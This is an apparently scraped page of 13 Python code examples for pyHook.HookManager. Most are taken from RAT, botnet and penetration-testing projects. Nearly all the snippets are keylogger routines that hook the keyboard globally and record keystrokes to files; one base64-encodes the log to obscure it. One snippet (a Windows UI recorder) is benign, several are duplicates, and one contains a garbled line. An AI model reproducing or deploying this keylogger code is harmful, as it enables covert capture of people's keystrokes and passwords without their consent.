Python pyHook.HookManager() Examples

The following are 13 code examples of pyHook.HookManager(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module pyHook , or try the search function .
Example #1
Source File: apt_simulator.py    From hack4career with Apache License 2.0 6 votes vote down vote up
def keylogger():
	if console:
		print "* Logging key events... (press enter to escape)"
		
	def OnKeyboardEvent (event):
		keys = ""
		full_path = os.path.realpath(__file__)
		path, file = os.path.split(full_path)
		path = path + "\keylogs.txt"
		keyfile = open(path, "a")
		key = chr(event.Ascii)
		if event.Ascii == 13:
			key = "\n"
			hook.UnhookKeyboard()
			if console:
				print "* done\n"
			main()

		keys = keys + key
		keyfile.write(keys)
		keyfile.close()
		 
	hook = pyHook.HookManager()
	hook.KeyDown = OnKeyboardEvent
	hook.HookKeyboard()
	pythoncom.PumpMessages() 
Example #2
Source File: keylogger.py    From botnet-lab with MIT License 6 votes vote down vote up
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys 
Example #3
Source File: pyHookKeyLogger.py    From Effective-Python-Penetration-Testing with MIT License 5 votes vote down vote up
def OnKeyboardEvent(event):
	 logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s')
	 chr(event.Ascii)
	 logging.log(10,chr(event.Ascii))
	 return True

#instantiate HookManager class 
Example #4
Source File: Lo0sR.py    From Lo0sR with MIT License 5 votes vote down vote up
def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages() 
Example #5
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example #6
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
Example #7
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example #8
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
Example #9
Source File: windows.py    From ATX with Apache License 2.0 5 votes vote down vote up
def __init__(self, device=None, workdir='.'):
        super(WindowsRecorder, self).__init__(device, workdir)
        self.watched_hwnds = set()
        self.kbflag = 0
        self.hm = HookManager()
        self.hm.MouseAllButtons = self._hook_on_mouse
        self.hm.KeyAll = self._hook_on_keyboard 
Example #10
Source File: server.py    From darkc0de-old-stuff with GNU General Public License v3.0 5 votes vote down vote up
def keyit(self):
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyBoardEvent
        self.hm.HookKeyboard()
        pythoncom.PumpMessages() 
Example #11
Source File: TinkererShell.py    From TinkererShell with GNU General Public License v3.0 5 votes vote down vote up
def keylogger(fd_temp_key: int):
    """Key logger thread.\n"""

    def OnKeyboardEvent(event):
        """"Define action triggered when a key is pressed.\n"""
        if not thr_block.isSet():
            if event.Ascii != 0 or 8:
                # Use base64 and not an encryption just for performance
                with open(keylogfile, 'r+b') as f_key:
                    data_decoded = b64decode(f_key.read()).decode('utf-8')
                    f_key.seek(0)
                    if event.Key == 'space':
                        data_decoded += ' '
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'BackSpace':
                        data_decoded += '[BackSpace]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Return':
                        data_decoded += '[Enter]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_L':
                        data_decoded += '[Shift_L]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_R':
                        data_decoded += '[Shift_R]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Tab':
                        data_decoded += '[Tab]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    else:
                        data_decoded += event.Key
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
        if thr_exit.isSet():
            os.close(fd_temp_key)
            hm.cancel()
        return True

    # create a hook manager
    if platform == 'windows':
        hm = pyHook.HookManager()
    else:
        hm = pyxhook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    if platform == 'windows':
        pythoncom.PumpMessages()
    else:
        hm.start()


# ================================================================================================= 
Example #12
Source File: RadiumKeylogger.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def hookslaunch():
    print '[*] Starting keylogger'
    a = Keylogger()
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = a.OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages() 
Example #13
Source File: keylogger.py    From FleX with MIT License 5 votes vote down vote up
def keystrokes(self):
  hm = pyHook.HookManager()
  hm.KeyDown = self.pressed
  self.keylog = True
  hm.HookKeyboard()  
  while self.keylog:
   try:pythoncom.PumpWaitingMessages()
   except:pass
  else:hm.UnhookKeyboard()